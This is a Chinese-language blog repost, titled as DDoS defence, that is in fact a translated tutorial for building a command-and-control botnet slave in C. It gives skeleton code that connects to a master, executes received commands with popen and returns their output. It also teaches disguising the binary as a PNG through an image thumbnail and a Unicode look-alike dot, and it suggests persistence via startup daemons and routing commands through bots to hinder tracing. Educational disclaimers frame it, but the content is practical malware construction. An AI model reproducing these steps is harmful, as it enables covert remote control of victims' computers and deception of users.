僵尸網(wǎng)絡(luò)之如何防護(hù)DDoS攻擊

2022-10-12    分類: 網(wǎng)站建設(shè)

大家好,最近看到國(guó)外有一篇和僵尸網(wǎng)絡(luò)有關(guān)的文章,今天分享給各位。

當(dāng)然,我們面對(duì)DDoS當(dāng)然是可以防御的,就比如云清洗。我寫這篇文章的目的是為了讓大家更多的去了解如何防護(hù)DDoS攻擊,所以請(qǐng)勿用作違法行為!愿這個(gè)世界再無黑產(chǎn)。

僵尸網(wǎng)絡(luò)之如何防護(hù)DDoS攻擊

簡(jiǎn)單的 C&C 僵尸網(wǎng)絡(luò)

這個(gè) hackpack 將引導(dǎo)您完成一個(gè)基本框架,該框架從根本上表征了僵尸網(wǎng)絡(luò)。 如果您以前使用過 C,它可能會(huì)有所幫助。 如果你喜歡這個(gè)教程,一定要給這個(gè) repo 加星標(biāo)!

注意:請(qǐng)勿將您在此處學(xué)到的任何內(nèi)容用于惡意目的。 這個(gè) hackpack 只是一個(gè)用于教育目的的僵尸網(wǎng)絡(luò)案例研究。 在這個(gè) hackpack 中學(xué)到的概念具有深遠(yuǎn)的用例(基本上與網(wǎng)絡(luò)有關(guān)的任何事情)。 最重要的是,此 hackpack 旨在在本地進(jìn)行測(cè)試和部署(因此請(qǐng)不要與其他黑客共享您構(gòu)建的與此 hackpack 相關(guān)的任何內(nèi)容)。 隱私很重要,所以請(qǐng)尊重它。

什么是僵尸網(wǎng)絡(luò)?

在構(gòu)建僵尸網(wǎng)絡(luò)之前,了解什么是僵尸網(wǎng)絡(luò)很重要。僵尸網(wǎng)絡(luò)是能夠遠(yuǎn)程接收命令并在本地部署它們的計(jì)算機(jī)網(wǎng)絡(luò)。 或者,他們可以選擇將信息中繼回網(wǎng)絡(luò)中的其他節(jié)點(diǎn)。 它們已被用于從分布式拒絕服務(wù)攻擊到廣泛部署的間諜軟件的所有領(lǐng)域。

您過去可能聽說過許多僵尸網(wǎng)絡(luò)。 最突出的可能是 Mirai 和 Gameover Zeus,它們分別控制了 380 和 360 萬臺(tái)物聯(lián)網(wǎng)設(shè)備。 僵尸網(wǎng)絡(luò)執(zhí)行某些任務(wù)的方式存在很大差異。 但是為了成功構(gòu)建我們的僵尸網(wǎng)絡(luò),我們需要在我們的工作網(wǎng)絡(luò)中確保以下功能。

我們的僵尸網(wǎng)絡(luò)應(yīng)該:

包括一個(gè)控制網(wǎng)絡(luò)上所有其他節(jié)點(diǎn)的主節(jié)點(diǎn); 在主機(jī)上部署偽裝的惡意軟件/從節(jié)點(diǎn); 將命令從主節(jié)點(diǎn)傳輸?shù)綇墓?jié)點(diǎn),執(zhí)行并將輸出返回給主節(jié)點(diǎn)。

這種結(jié)構(gòu)是所謂的命令與控制僵尸網(wǎng)絡(luò)的特征。 這些僵尸網(wǎng)絡(luò)有一臺(tái)主服務(wù)器和多臺(tái)從服務(wù)器。 然而,這種僵尸網(wǎng)絡(luò)風(fēng)格已經(jīng)過時(shí),可以通過切斷對(duì)主域的訪問來輕松取締。 更新和復(fù)雜的僵尸網(wǎng)絡(luò)遵循點(diǎn)對(duì)點(diǎn)架構(gòu),其中管理員權(quán)限分布在網(wǎng)絡(luò)中的所有節(jié)點(diǎn)或節(jié)點(diǎn)子集。

這些僵尸網(wǎng)絡(luò)讓安全專家非常頭疼,因?yàn)闆]有中央控制點(diǎn),并且可以增長(zhǎng)到數(shù)百萬個(gè)節(jié)點(diǎn)。 消滅此類僵尸網(wǎng)絡(luò)本身就是一個(gè)有趣的讀物。 然而,為了這個(gè) hackpack 的目的,讓我們保持簡(jiǎn)單。 我們將為 C&C 僵尸網(wǎng)絡(luò)實(shí)現(xiàn)一個(gè)簡(jiǎn)單的從節(jié)點(diǎn)。

執(zhí)行

這個(gè) hackpack 將主要處理實(shí)現(xiàn)客戶端惡意軟件。 對(duì)于主服務(wù)器,我們可以使用開源 TCP 服務(wù)器調(diào)用 Netcat。 Netcat 與僵尸網(wǎng)絡(luò)無關(guān)。 它只是一個(gè)方便的、既定的工具,我們可以重新使用它來向來自客戶端的發(fā)送文本數(shù)據(jù)包(這才是真正的主人)。 我稍微調(diào)整了 netcat 服務(wù)器并將其編譯為名為“master”的二進(jìn)制文件。 這里不再需要工作了! 我們的主人已經(jīng)準(zhǔn)備好使用了。

奴隸

讓我們繼續(xù)討論更有趣的部分:接收和執(zhí)行遠(yuǎn)程命令(我們稍后會(huì)擔(dān)心偽裝我們的惡意軟件)。 這里的目標(biāo)是使我們的從節(jié)點(diǎn)盡可能簡(jiǎn)單并遵守上面詳述的要求。 請(qǐng)注意,在 lib/macros.h 中定義了許多常量,因此可以隨意使用它們。 所有實(shí)現(xiàn)的函數(shù)簽名都可以在 lib/connect.h 或 lib/utils.h 中找到。

1. 啟動(dòng)

打開 bot.c 文件。 在我們的服務(wù)器中啟動(dòng)一個(gè)新節(jié)點(diǎn)時(shí),我們可能應(yīng)該命名它,以便 master 知道將命令部署到哪些客戶端。 可以使用許多命名約定。 使用 IP 地址可能是最好的,因?yàn)樗敲總€(gè)客戶端的唯一標(biāo)識(shí)符。

然而,為了讓普通人更容易閱讀,讓我們使用計(jì)算機(jī)的用戶名。 使用 C 函數(shù)getenv()有論據(jù)"USER"返回計(jì)算機(jī)存儲(chǔ)在 USER 環(huán)境變量中的任何內(nèi)容。 這是存儲(chǔ)用戶用戶名的一個(gè)地方,所以讓我們使用它。 另外,既然你的奴隸正在運(yùn)行,讓我們找到主人。 為此,我們必須知道主人的 IP 地址。 每個(gè)網(wǎng)絡(luò)設(shè)備都有一個(gè) IP 地址。 它負(fù)責(zé)識(shí)別其他節(jié)點(diǎn)和位置尋址。

此外,master 可以有許多服務(wù)器在不同的端口上運(yùn)行。 所以,我們不僅要連接到master,還要指定正確的端口。 此端口由主設(shè)備選擇,但可以更改。 在這個(gè) hackpack 中,我們想在本地進(jìn)行測(cè)試。 因此,我們將使用您的計(jì)算機(jī)作為我們的網(wǎng)絡(luò)。

每臺(tái)計(jì)算機(jī)的本地 IP 地址(“l(fā)ocalhost”也解析為)是"127.0.0.1". 在 master 中,我指定它在端口上運(yùn)行9999. 有了這三樣?xùn)|西(主 IP 地址、主端口和從名稱),我們就可以在服務(wù)器和客戶端之間啟動(dòng)一個(gè)稱為套接字的通信管道。 將這三個(gè)參數(shù)傳遞給函數(shù)init_socket()創(chuàng)建一個(gè)套接字。

init_function()不是內(nèi)置的 C 命令。 相反,我們需要實(shí)施它。 然后,我們需要在堆棧上分配一些空間來保存?zhèn)魅氲南ⅰ?我們使用大約 10KB 的堆??臻g調(diào)用這個(gè)堆棧指針msg. 最后,有一個(gè)printf聲明表示一切進(jìn)展順利。

char* name = //Get the client is username and store it in name int channel = //initiate a channel given SERVER, PORT, and name; //Allocate stack space of size CMD_LENGTH to hold data of type char. Call the stack pointer msg printf("%s joining the botnet\n", name);

現(xiàn)在切換到 lib/connect.c。 讓我們實(shí)施init_channel(). 首先,我定義了一個(gè)名為的堆棧字符緩沖區(qū)msg長(zhǎng)度CMD_LENGTH和一個(gè)特殊的 C 網(wǎng)絡(luò)結(jié)構(gòu)稱為server保存有關(guān)我們與 master 連接的信息。

首先將傳入的 ip 地址從人類可讀的格式(帶有數(shù)字和點(diǎn))轉(zhuǎn)換為網(wǎng)絡(luò)字節(jié)順序的二進(jìn)制格式。 這是使用一個(gè)名為的特殊 C 函數(shù)完成的inet_addr()來自套接字庫。 它只是接收一個(gè) ip 地址并將其以網(wǎng)絡(luò)可用的二進(jìn)制文件形式輸出。

在 C 中,我們可以通過填寫一個(gè)名為的結(jié)構(gòu)體的字段來輕松地指定一個(gè)網(wǎng)絡(luò)sockaddr_in.我們那個(gè)結(jié)構(gòu)體的實(shí)例被稱為server. 我們需要填寫該結(jié)構(gòu)體的 3 個(gè)字段:server.sin_addr.s_addr(主 IP 地址)、server.sin_family(指定通信域的 1 字節(jié)值)和 server.sin_port(我們將在主服務(wù)器上連接的端口) )。 sin_family 可以給出套接字庫提供的 C 宏。

通常,在這種情況下,我們將此字段設(shè)置為AF_INET. 這意味著我們的連接通過 IP 地址識(shí)別網(wǎng)絡(luò)節(jié)點(diǎn),這正是我們想要的。 但是,也可以使用PF_INET這類似于AF_INET但指定網(wǎng)絡(luò)可以使用協(xié)議中的任何內(nèi)容來識(shí)別特定節(jié)點(diǎn)。 兩者存在的原因還有很多假設(shè)的歷史原因,但這是我真正不知道或真正關(guān)心的事情。 只需使用AF_INET.

最后,在設(shè)置服務(wù)器端口時(shí),我們必須通過port通過一個(gè)特殊的函數(shù)調(diào)用htons()(主機(jī)到網(wǎng)絡(luò)短)。 這會(huì)將數(shù)據(jù)從主機(jī)字節(jié)順序轉(zhuǎn)換為網(wǎng)絡(luò)字節(jié)順序。 這種字節(jié)順序混亂與稱為 Endianness 的東西有關(guān)。

最后,我們需要定義主從之間的實(shí)際連接! 為此,定義一個(gè)網(wǎng)絡(luò)套接字,通過它可以發(fā)送數(shù)據(jù)。 將 master 視為有許多“電源插座”。 現(xiàn)在,我們需要在 slave 上構(gòu)建一個(gè)適合 master 的“墻上插座”的“插頭”。 我們可以使用套接字庫的socket()功能。 多么方便!socket()包含 3 個(gè)參數(shù):通信域、套接字類型和協(xié)議。

對(duì)于通信領(lǐng)域,您可能已經(jīng)猜到了:AF_INET. 對(duì)于套接字類型,我們希望我們的套接字能夠簡(jiǎn)單地雙向傳輸數(shù)據(jù)。 因此,使用給定的宏SOCK_STREAM. 讓我們不用擔(dān)心套接字協(xié)議。 這是一個(gè)相當(dāng)基本的網(wǎng)絡(luò),所以讓我們使用一個(gè)值0表示默認(rèn)協(xié)議。 該函數(shù)返回一個(gè)int代表套接字。 將此值存儲(chǔ)在頻道中。

接下來,我們要啟動(dòng)我們的插座(將奴隸插入主人的墻上插座)。 調(diào)用 C 函數(shù)connect(). 這需要三個(gè)參數(shù):通道、sockaddr 結(jié)構(gòu)和結(jié)構(gòu)的大小(以字節(jié)為單位)。 如果connect()返回一個(gè)正整數(shù),你與master的連接成功! 為了測(cè)試我們新發(fā)現(xiàn)的連接,讓我們向 master 發(fā)送問候! 填充我們的消息緩沖區(qū)并使用respond()(尚未實(shí)施)發(fā)送msg通過通道回到主人。 最后,我們希望init_channel()函數(shù)返回這個(gè)成功的連接。

int init_channel (char *ip, int port, char *name) { char msg[CMD_LENGTH]; struct sockaddr_in server; server.sin_addr.s_addr = //convert the ip to network byte order server.sin_family = //set the server is communications domain server.sin_port = //convert port to network byte order int channel = //define a SOCK_STREAM socket if(channel <0) { perror ("socket:"); exit(1); } int connection_status = //use the defined channel to connect the slave to the master server if (connection_status <0) { perror ("connect:"); exit(1); } //send a greeting message back to master by loading a string into msg (hint: snprintf will come in handy) respond (channel, msg); return channel; } 2. 監(jiān)聽消息

一旦從站連接到主站,它需要不斷地監(jiān)聽消息并立即根據(jù)命令采取行動(dòng)。 因此,讓我們使用無限 while 循環(huán)來接收和解析這些消息。 在 bot.c 中,在printf語句,添加一個(gè)調(diào)用兩個(gè)函數(shù)的無限 while 循環(huán):recieve()和parse()以該順序。 兩個(gè)函數(shù)都取channel和msg堆棧緩沖區(qū)作為參數(shù)。 您可以在 lib/utils.h 中找到它們的函數(shù)簽名。 這應(yīng)該類似于:

Infinite Loop { recieve(...); parse(...); }

去 utils.c 執(zhí)行recieve()和respond().recieve()從頻道中抓取消息并respond()通過通道發(fā)回消息。respond()的參數(shù)是套接字地址,s,和我們的堆棧緩沖區(qū),msg_buf. 我們要使用 C 函數(shù)write()將堆棧緩沖區(qū)包含的任何內(nèi)容寫入通道并返回其狀態(tài)。write()需要 3 個(gè)參數(shù):套接字地址、消息緩沖區(qū)和消息長(zhǎng)度。

int respond(int s, char *msg_buf) { //write the contents of msg_buf into socket s and return status }

recieve()也是一個(gè)簡(jiǎn)單的幫手。 重置msg緩沖區(qū)(提示:使用memset())。 現(xiàn)在,調(diào)用套接字庫函數(shù)read()閱讀消息。read()采用 3 個(gè)參數(shù):套接字地址、消息緩沖區(qū)和消息的大預(yù)期長(zhǎng)度。

int recieve(int s, char *msg) { //reset the msg buffer int read_status = //read contents of socket s into msg if (read_status) { perror("log:"); exit(1); } return 0; } 3. 執(zhí)行命令

快完成了! 我們的僵尸網(wǎng)絡(luò)現(xiàn)在很無聊。 它只能通過套接字接收和傳輸消息。 讓我們讓它實(shí)際執(zhí)行它在終端上收到的內(nèi)容。 我們先實(shí)現(xiàn)函數(shù)parse(). 它的作用正如其名:解析命令。 我們可以做一些簡(jiǎn)單的錯(cuò)誤檢查來查看消息是否格式錯(cuò)誤。 此外,我們希望默默地忽略收到但并非有意為之的消息。 該消息將從 master 格式化為(僵尸網(wǎng)絡(luò)的名稱):(要執(zhí)行的命令)。 我已經(jīng)為你做了前者。 如果兩項(xiàng)檢查都通過,讓我們將命令傳遞給execute()功能。

int parse (int s, char *msg, char* name) { char *target = msg; //check whether the msg was targetted for this client. If no, then silently drop the packet by returning 0 char *cmd = strchr(msg, ':'); if (cmd == NULL) { printf("Incorrect formatting. Reference: TARGET: command"); return -1; } //adjust the cmd pointer to the start of the actual command //adjust the terminated character to the end of the command //print a local statement detailing what command was recieved execute (s, cmd); return 0; }

關(guān)鍵部分,execute()應(yīng)該將它接收到的任何命令通過管道傳輸?shù)浇K端并將任何輸出寫入套接字回主。 創(chuàng)建一個(gè)堆棧緩沖區(qū)來存儲(chǔ)每一行輸入。 然后使用popen()C函數(shù)運(yùn)行輸入并將輸出存儲(chǔ)在文件中f(此時(shí)有很多方法可以解決這個(gè)問題。

您可以自定義您的僵尸網(wǎng)絡(luò)以使用主輸入做非常酷的事情,并與僵尸網(wǎng)絡(luò)中的其他節(jié)點(diǎn)執(zhí)行一些自主協(xié)作/更新。隨意發(fā)揮您的創(chuàng)造力。我們現(xiàn)在只會(huì)堅(jiān)持我們的香草目標(biāo))。 解析通過f逐行并通過套接字轉(zhuǎn)儲(chǔ)所有內(nèi)容。 關(guān)閉 f 就完成了!

int execute (int s, char *cmd) { FILE *f = //use popen to run the command locally if (!f) return -1; while (!feof (f)) { //parse through f line by line and send any output back to master } fclose(f); return 0; }

使用以下終端命令編譯您的新僵尸網(wǎng)絡(luò):

gcc -lcurl lib/connect.c lib/utils.c bot.c -o bin/slave

在一個(gè)終端窗口上運(yùn)行 bin/master,在其他窗口上運(yùn)行 bin/slave。 輸入命令為(從用戶名):(遠(yuǎn)程終端命令)。 恭喜! 你剛剛建立了一個(gè)僵尸網(wǎng)絡(luò)!

4. 偽裝你的惡意軟件

你可以做一些很酷的事情來偽裝和部署惡意軟件。 事實(shí)上,它本身就是一個(gè)完整的領(lǐng)域。 您可以做的一個(gè)示例是將惡意軟件屏蔽為圖像。 讓我們使用熊貓的圖像。 我在 utils.c 中添加了一個(gè)簡(jiǎn)單的函數(shù),它可以卷曲熊貓的圖像并將其呈現(xiàn)在預(yù)覽中。 這為用戶提供了打開熊貓圖像的概念,而實(shí)際上用戶正在運(yùn)行您的惡意軟件。 要添加它,請(qǐng)?jiān)?bot.c 中包含以下代碼行:

char* open_cmd = alias_img(); system(open_cmd); free(open_cmd);

接下來,右鍵單擊任何圖像并選擇“獲取信息”。 對(duì) bin/slave 執(zhí)行相同操作。 將圖像縮略圖拖到 bin/slave 的可執(zhí)行縮略圖上。 這應(yīng)該會(huì)改變它在桌面上的外觀。 但是,我們?nèi)匀蝗鄙偬卣?.png 文件結(jié)尾。 將您的可執(zhí)行文件重命名為:

panda⒈png

現(xiàn)在,這看起來像一個(gè) png 文件。 但是,我們使用 Unicode 字符“1”。 代替 ”。” 隱藏這仍然是 Unix 可執(zhí)行文件的事實(shí)。 您可以使用更多可信的 Unix 技巧,例如用于屏蔽可執(zhí)行文件名的 LEFT-TO-RIGHT OVERRIDE 字符。 在更極端的情況下,您可以在圖像和文件宏中嵌入代碼以在主機(jī)打開時(shí)同時(shí)運(yùn)行(有點(diǎn)像特洛伊木馬......)。 然而,因?yàn)?TreeHacks 沒有人是網(wǎng)絡(luò)罪犯,我們不應(yīng)該太在意這些技術(shù)。

5. 擴(kuò)展

既然您擁有一個(gè)完全可以正常工作的僵尸網(wǎng)絡(luò),那么您可以使用許多擴(kuò)展來挑戰(zhàn)自己。 我們的僵尸網(wǎng)絡(luò)仍然很無趣。 除非用戶每次都點(diǎn)擊它,否則它無能為力。 以下是一些建議:

(1) 實(shí)現(xiàn)持久性

如果僵尸網(wǎng)絡(luò)以某種方式留在計(jì)算機(jī)上,即使計(jì)算機(jī)關(guān)閉,它們也可以真正成為攻擊者惡意活動(dòng)的可靠來源。 嘗試在每次啟動(dòng)時(shí)重新啟動(dòng)奴隸。 這樣,一旦用戶點(diǎn)擊惡意軟件,他/她的計(jì)算機(jī)就會(huì)被感染,直到他清除它。 實(shí)現(xiàn)這一目標(biāo)的一個(gè)建議是將您的可執(zhí)行進(jìn)程變成一個(gè)守護(hù)進(jìn)程。 然后,生成一個(gè)配置文件,將您的可執(zhí)行文件添加到應(yīng)在啟動(dòng)時(shí)執(zhí)行的守護(hù)程序列表(云存儲(chǔ)應(yīng)用程序、團(tuán)隊(duì)消息傳遞平臺(tái)等已經(jīng)執(zhí)行此操作)。

(2) 實(shí)現(xiàn)點(diǎn)對(duì)點(diǎn)網(wǎng)絡(luò)

實(shí)現(xiàn)對(duì)等網(wǎng)絡(luò)無非是重新安排網(wǎng)絡(luò)設(shè)計(jì)。 然而,P2P 網(wǎng)絡(luò)的關(guān)鍵是管理員/攻擊者可以通過網(wǎng)絡(luò)上的任何節(jié)點(diǎn)實(shí)現(xiàn)主控。 因此,攻擊者應(yīng)該擁有某種主密鑰和加密登錄,以允許對(duì)任何節(jié)點(diǎn)進(jìn)行主控。

(3) 添加多個(gè)級(jí)別的誤導(dǎo)

你實(shí)現(xiàn)的主從結(jié)構(gòu)不是很安全。 通過殺死主節(jié)點(diǎn)可以輕松地釋放從節(jié)點(diǎn)。 好情況下,您將切換到 P2P 設(shè)計(jì)。 但是,您也可以在將 master 的命令部署到僵尸網(wǎng)絡(luò)之前,通過一系列攻擊者控制的 bot 隨機(jī)引導(dǎo)它的命令,從而稍微提高 master 的安全性。 這使得專家更難定位命令中心并跟蹤攻擊者節(jié)點(diǎn)和客戶端節(jié)點(diǎn)之間的僵尸網(wǎng)絡(luò)調(diào)用。

(4) 探索合適的網(wǎng)絡(luò)協(xié)議

也許,更重要的是,您想更多地玩弄網(wǎng)絡(luò)。 我們的網(wǎng)絡(luò)非常簡(jiǎn)單。 在很多方面,它都極其薄弱,絕對(duì)不嚴(yán)謹(jǐn)。 因此,您可能想要探索已建立的網(wǎng)絡(luò)協(xié)議,例如 Internet 中繼聊天 (IRC),以構(gòu)建更合適的網(wǎng)絡(luò)。 雖然這需要一段時(shí)間,但它極具教育意義,而且是一筆值得的投資。

(5) 嘗試實(shí)現(xiàn)自己的master

在這個(gè) hackpack 中,我們使用了一個(gè)免費(fèi)的開源項(xiàng)目來替代我們的主服務(wù)器。 然而,其中涉及許多缺點(diǎn)。 首先,我們無法自定義我們的主服務(wù)器以通過我們的網(wǎng)絡(luò)發(fā)送自動(dòng)命令。 它僅限于使用命令行輸入。 其次,您可能已經(jīng)注意到,僵尸網(wǎng)絡(luò)上的所有奴隸都會(huì)收到每個(gè)命令。

我們執(zhí)行的條件是檢查目標(biāo)名稱是否與從站名稱匹配。 如果為 false,則該命令將被靜默刪除。 這被稱為廣播網(wǎng)絡(luò)。 更優(yōu)化的可能是多播網(wǎng)絡(luò)。 在廣播網(wǎng)絡(luò)中,節(jié)點(diǎn)將數(shù)據(jù)包中繼到其所有連接的節(jié)點(diǎn)。 在多播系統(tǒng)中,可以指定某個(gè)節(jié)點(diǎn)子集來接收數(shù)據(jù)包。 此外,使用多播網(wǎng)絡(luò)將命令分配從客戶端移動(dòng)到它所屬的主服務(wù)器。 實(shí)現(xiàn)您自己的主節(jié)點(diǎn)以將僵尸網(wǎng)絡(luò)從廣播切換到多播。

當(dāng)然,我們面對(duì)DDoS當(dāng)然是可以防御的,就比如云清洗。我寫這篇文章的目的是為了讓大家更多的去了解如何防護(hù)DDoS攻擊,所以請(qǐng)勿用作違法行為!愿這個(gè)世界再無黑產(chǎn)

當(dāng)前標(biāo)題:僵尸網(wǎng)絡(luò)之如何防護(hù)DDoS攻擊
網(wǎng)站地址:http://www.bm7419.com/news41/204791.html

成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián),為您提供做網(wǎng)站、全網(wǎng)營(yíng)銷推廣、網(wǎng)站建設(shè)品牌網(wǎng)站設(shè)計(jì)、外貿(mào)建站、ChatGPT

廣告

聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主,如果涉及侵權(quán)請(qǐng)盡快告知,我們將會(huì)在第一時(shí)間刪除。文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如需處理請(qǐng)聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時(shí)需注明來源: 創(chuàng)新互聯(lián)

成都網(wǎng)頁設(shè)計(jì)公司